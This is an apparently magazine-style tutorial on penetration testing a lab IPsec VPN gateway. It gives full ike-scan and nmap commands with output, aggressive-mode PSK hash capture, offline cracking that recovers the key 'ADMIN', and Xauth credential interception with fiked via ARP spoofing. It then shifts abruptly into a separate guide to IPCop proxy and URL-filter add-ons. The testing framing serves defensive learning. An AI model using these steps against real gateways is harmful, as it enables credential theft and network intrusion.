Figure 1: Sample topology

The same test lab setup can also be arranged with other solutions like Checkpoint SPLAT (Secure Platform or SPLAT is a software-based gateway solution from Checkpoint Software), Microsoft Server 2003 or 2008 (configured as an IPsec VPN gateway), etc.

Penetration testing an IPsec VPN

Penetration testing an IPsec VPN includes several phases like:

1. Scanning or identifying the VPN gateway.
2. Fingerprinting the VPN gateway for guessing implementation.
3. PSK mode assessment and PSK sniffing.
4. Offline PSK cracking.
5. Checking for default user accounts.
6. Testing the VPN gateway for vendor specific vulnerabilities.

Scanning or identifying the VPN gateway

To determine the presence of an IPsec VPN gateway, the penetration tester needs to port-scan the target. Most IPsec implementations will be ISAKMP-based. ISAKMP is an application layer key-exchange protocol that provides mechanisms to establish, negotiate, modify and delete Security Associations. ISAKMP uses UDP port 500, so a direct UDP port-scan on the suspected VPN gateway may give you the results. You can use Nmap or Ike-scan for this.

Scanning with Nmap

A direct port-scan on the VPN gateway with this powerful open source scanner provides supplemental information on the presence of the VPN gateway. Nmap can later be used at the fingerprinting phase for version or OS identification.

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

The options used were -sU for UDP scan, and -p to only scan the specified port. The scan output shows the ISAKMP port (UDP port 500) open.

Ike-scan

Ike-scan is a simple but powerful command-line tool that is used to find and fingerprint VPN gateways. It sends specially crafted IKE packets to target gateways and enlists any IKE responses that are received. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with eight transforms inside it.

Each transform contains a number of attributes like DES or 3DES as the encryption algorithm, SHA or MD5 as the integrity algorithm, a pre-shared key as the authentication type, Diffie-Hellman 1 or 2 as the key distribution algorithm and 28800 seconds as the lifetime.

Initial IPsec VPN discovery with Ike-scan is as shown below:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=d90bf054d6b76401)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

The -M shows each payload in a line, so that the output will be neat and easy to understand. The output can be any of the following:

• 0 returned handshake; 0 returned notify: This means the target is not an IPsec gateway.
• 1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable.
• 0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried).

In the example shown, the VPN gateway replies with one returned handshake and the acceptable transform set has these parameters:

Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800

Custom transform sets can be tried against the target with the
"--trans" switch:

--trans=(1=1,2=2,3=1,4=2)

……where 1=Encryption Algorithm, 2=Hash Algorithm, 3=Authentication Method, 4=Group Description, and 5=Group Type.

Kindly refer to RFC 2409 Appendix A for a complete understanding of transform set values. There are a number of other tools like ipsectrace, ipsecscan, etc., available for IPsec scanning, but undoubtedly Ike-scan is one of the best and a frequently updated tool.

Vulnerability assessment tools like Nessus, Nexpose, etc, can be used to identify the vulnerabilities of VPN implementations. A full security audit on the target gateway with such types of tools will generate a detailed report with all identified problems and the mitigation steps available.

Fingerprinting the VPN gateway for guessing implementation

Vendor identification and software detection of the gateway is achieved in the fingerprinting phase. To proceed with fingerprinting, you need to get a handshake message from the gateway, containing the acceptable transform set details. As the default IKE doesn’t offer reliability for transmitted packets, VPN gateway vendors will use their own back-off algorithm to deal with the “lost in transit” traffic.

The attacker sends an initial IKE proposal to the VPN gateway with an acceptable transform set. The attacker doesn’t reply and carefully analyses the server response messages for some time. (The default time Ike-scan waits for back-off fingerprinting is 60 seconds.) By analysing the time difference between the received messages from the server and the matching response pattern, the pen tester can successfully fingerprint the VPN gateway vendor.

Some VPN servers will use the optional Vendor ID (VID) payload with IKE to carry some proprietary extensions. This will really make fingerprinting easy for the attacker. Most of the time, VID is a hashed text string. Ike-scan can use the --vendor switch to add the VID payload to outbound packets. The received VID payload can be displayed by Ike-scan directly, as shown below:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=4f3ec84731e2214a)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Note that the Ike-scan fingerprinting can be done without even using the --trans option, but adding it will make the process faster.

So you have been successful in fingerprinting the vendor of the VPN gateway; in this case, it is a Cisco VPN Server like ASA or PIX.

PSK mode assessment and PSK sniffing

The aggressive mode of IPsec does not use a key distribution algorithm like Diffie-Hellman to protect the authentication data exchange. This makes it possible for the attacker to capture the authentication data. A server that works with aggressive mode will send the authentication hash in clear-text mode, which can be captured and cracked offline by tools like ike-crack. In the following example, the penetration tester sniffs the PSK hash and saves it into a file for offline cracking:

root@bt:~# ike-scan --pskcrack --aggressive --id=peer 172.16.21.200 > psk.txt

Ike-probe or Ike-scan can be used to capture authentication data, as the following example shows:

root@bt:~# ike-scan --pskcrack --aggressive --id=peer 172.16.21.200

Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Aggressive Mode Handshake returned HDR=(CKY-R=7eb59f437bbc5445) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(20 bytes) ID(Type=ID_IPV4_ADDR, Value=172.16.21.200) Hash(20 bytes) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=09002689dfd6b712 (XAUTH) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
41391d84dd47367e7f3182b07ccf3bcf48e0d8c917452ac071bce3673c4352583759e5086a9806ab7c5531944273c25a8722c259c76e5e393a2e48c36bf205d571cfd0eba36c573fe4b94939b867ec4ecf197c23930ed496a73df4a149ea6220029c6658e401de40f7f4fa098606a70ab9483c0eb2ac54258a06dd572ae2cd32:88bf0e2a5a07bd19924583ccef6523cb8f4fa56cd7ce65d015b61b2feeb700f37265de794c51af0a749e29339ee0f581870b7c515279c1672e827c6a686fe70d6cc0d6945ac73f1187764a0ebc333d8dd00c0a4e0ba29a0fc276277bbfdfc2e0b84e71881b5dde8869a57600141b939c1139afa865df52911e6ef866e6319eaf:7eb59f437bbc5445:059885068c28a7c4:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:01110000ac1015c8:bb3c0d7f23234a70d4e125def19bf249cdb299d7:68aeca96d276fba861756a48d79e11cca2623843:229f9468990c4887d2b13e73160c2288e51ff6c9
Ending ike-scan 1.9: 1 hosts scanned in 0.018 seconds (55.19 hosts/sec). 1 returned handshake; 0 returned notify

Offline PSK cracking

Before cracking the captured hashed authentication string offline, edit the output file to include only the hash value. (It should only include 9 colon-separated values.) The offline cracking in Backtrack is done with psk-crack, which supports the dictionary, brute-force and hybrid mode cracking.

There are a number of other tools like Cain and Abel available for the offline PSK hash cracking. The following example shows the dictionary mode of psk-crack:

root@bt:~# psk-crack -d /usr/local/share/ike-scan/psk-crack-dictionary psk.txt

Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "ADMIN" matches SHA1 hash c1dc52bbb88d4b434c1050a6e77e923f03afbc82
Ending psk-crack: 136 iterations in 0.001 seconds (153153.15 iterations/sec)

So the VPN gateway is configured with a simple pre-shared key ADMIN!

Checking for default user accounts

Most VPN solutions have the end-user-level authentication Xauth (Phase 1.5 of IKE) or Extended Authentication enabled by default. So with the psk-crack output alone, it will not be possible to get into the internal network. After the initial peer authentication, Xauth is required before the VPN gateway grants access.

Xauth login credentials can be captured by using fiked, a command-line tool that impersonates the VPN gateway’s IKE responder and sniffs the authentication data by intercepting the IKE traffic. You need to redirect IKE traffic to fiked for sniffing, which can be done with the help of ARP spoofing.

Given below is a simple example of fiked. The -g switch specifies the IP address of the gateway, captured data is written to a file with the -l switch, -d is used to run it in daemon mode, and -k is for “group id: shared key” representation:

root@bt:~# fiked -g 192.168.1.50 -k testgroup:secretkey -l output.txt -d

In some cases, the VPN gateway will have default user accounts, which the pen-tester can use for Xauth. If not, extensive social engineering or information gathering will do the trick. You may use a proper IPsec VPN client like the Cisco EasyVPN client for the final verification.

Testing the VPN gateway for vendor specific vulnerabilities

There are hundreds of known IPsec/IKE vulnerabilities. Exploitation of these can cause disruption of VPN gateway services, so testing the gateway for these is very important. The following three websites are very useful; they list the known vulnerabilities of different VPN solutions:

1. National Vulnerability Database
2. Secunia
3. SecurityFocus

Sophisticated vulnerability assessment tools like MetaSploit Framework Pro, Qualys, Core Impact, etc., can be used to test the VPN gateway against known vulnerabilities, along with custom-created exploit scripts. Security patches, OS upgradation or additional configuration may be needed to mitigate these threats, as guided by the vendor.

By compromising a VPN gateway server, the attacker can gain access to valuable internal resources, so organisations need to make sure that VPN gateways are hardened against these threats. Vulnerability assessment and penetration-testing of the VPN gateway, along with periodic reviews of configured security policies, can help organisations to tighten up overall security.

IPCop add-ons like Advanced Proxy, URL Filter, Update Accelerator and Calamaris are not officially part of the IPCop distro, but provide excellent additional functions such as advanced proxy, enabling network-based access control and authentication; URL filtering, with automatic blacklist updates; OpenVPN server; blocking outgoing traffic based on ports, etc. The important details, features and download links of our four add-ons are summarised in the following table.

The setup assumes IPCop (green) IP as 192.168.51.1, the IPCop Web access port to be 445 and the IPCop SSH access port of 222, with SSH access enabled (System  –> SSH Access in the IPCop Web GUI). To copy add-on binaries, you need to use SCP, and for installation you need direct console access or SSH access from another system. Linux users can use the scp and ssh utilities. Windows users can download and install WinSCP and Putty for these purposes. That done, download the various add-on binaries from the links provided in the table above to your desktop. Secure-copy (SCP) them to /root on the IPCop box. Get a command prompt on the IPCop box via SSH (or Putty).

Extract each of the tarballs with tar -xzf <tarballname>. Change to each of the extracted folders in turn (ipcop-advproxy, ipcop-urlfilter, ipcop-updatexlrator, ipcop-calamaris), and run ./install in each of them to install that add-on.

Subsequent configuration is via the IPCop Web GUI being prerequisite for various other add-ons, install ADV Proxy first followed by others.

AdvProxy

In the Web GUI, go to Services  –> Advanced Proxy. The important settings under various categories are given below.

• Common settings:
  1. Enable this add-on on the Green network (and any others if needed).
  2. Whether or not to use Transparent mode (no change in client browser connection settings is required, though the browser must be configured to use the IPCop proxy port).
  3. Proxy port (default TCP 800).
• Other settings include:
  1. Upstream Proxy: To be used if the Internet connection is via a proxy server. Here, the username and password can also be provided.
  2. Log settings: To enable/disable proxy logs.
  3. Cache management: Define cache size.
  4. Network-based access control: Allows you to control Internet access only to the defined subnets (or IP addresses). For example, 192.168.51.0/27 will allow Internet access to 192.168.51.1 to 192.168.51.30. (Some clients can be banned by entering their IPs under ‘Banned IP addresses’.)
  5. Time restrictions: Internet access can be allowed only during certain time periods.
  6. Authentication methods: IPCop supports user authentication methods such as Local (IPCop username and passwords), LDAP/RADIUS (external LDAP server), Windows (Windows Domain Controller), etc.

Figure 1: Advanced Proxy settings

URL Filter

To enable URL Filter, go to the bottom of Services  –> Advanced Proxy and select Enable URL Filter. Go to Services  –> URL Filter for more settings. Various configuration items and features are listed below:

• Block Categories — Choose the unwanted category to block corresponding websites. The blacklist database can be scheduled to be updated daily/weekly or monthly. The default list has only a few block categories. Once updated, you will see a detailed list to block from.
• Black list and White list — If a blacklisted website is to be accessible, add it to Custom Whitelist; to ban an accessible website, add it to Custom Blacklist.
• Custom Expressions list — Add words to be blocked. For an example, add cricket, score and scores under this to block sites featuring these words.
• File Extension Blocking — Block executable, compressed or Audio/Video file downloads by selecting the corresponding check-box.
• Network-based access control — Lets some users browse the Web unrestricted, and can block others from using the Web at all.
• Block Page settings — The message a user receives when trying to access a blocked website.
• Log — Enable it to track who is trying to access blocked websites.
• URL Filter Maintenance — Blacklist update settings, configure a daily/weekly/monthly update schedule and choose from four sources.
• Backup URL Filter — Backup settings and complete blacklist, which can be restored later, or on a new IPCop installation.

Figure 2: URL Filter block categories

URL Filter allows three categories of Internet access based on the IP address — filtered access, unrestricted access and no access (banned). One very important provision is that all sites from the custom whitelist can be accessed by banned IP addresses if you enable “Allow custom whitelist for banned clients”. This can be very helpful if all users need to access some websites.

Update Accelerator

Enable it at the bottom of Services –> Advanced Proxy and go to Services –> Update Accelerator. This requires only a few settings. Select Enable Log, Enable Passive Mode and Lower CPU priority for downloads. You may also define a maximum download rate.

This is very useful; it caches various large downloads like updates for anti-virus and OS patches, etc. Repeat requests are supplied from local cache, saving bandwidth and increasing download speed tremendously. To clear cache, either manually delete individual files, or set it to automatically delete unused files, via the Maintenance button in Services –> Update Accelerator.

Calamaris report generator

This add-on requires no configuration. Go to Logs –> Proxy Reportsto access the report generator. Calamaris can generate reports based on parameters like Domain, Performance, Contents, Requester, etc. The time needed for report generation may vary based upon the CPU, hard disk and log size. Reports can be viewed on-screen or exported to text files (see Figures 3 and 4).

Figure 3: Proxy reports options

Figure 4: Sample proxy report

So folks, this adds four important add-ons to the vanilla IPCop. Watch out for further details!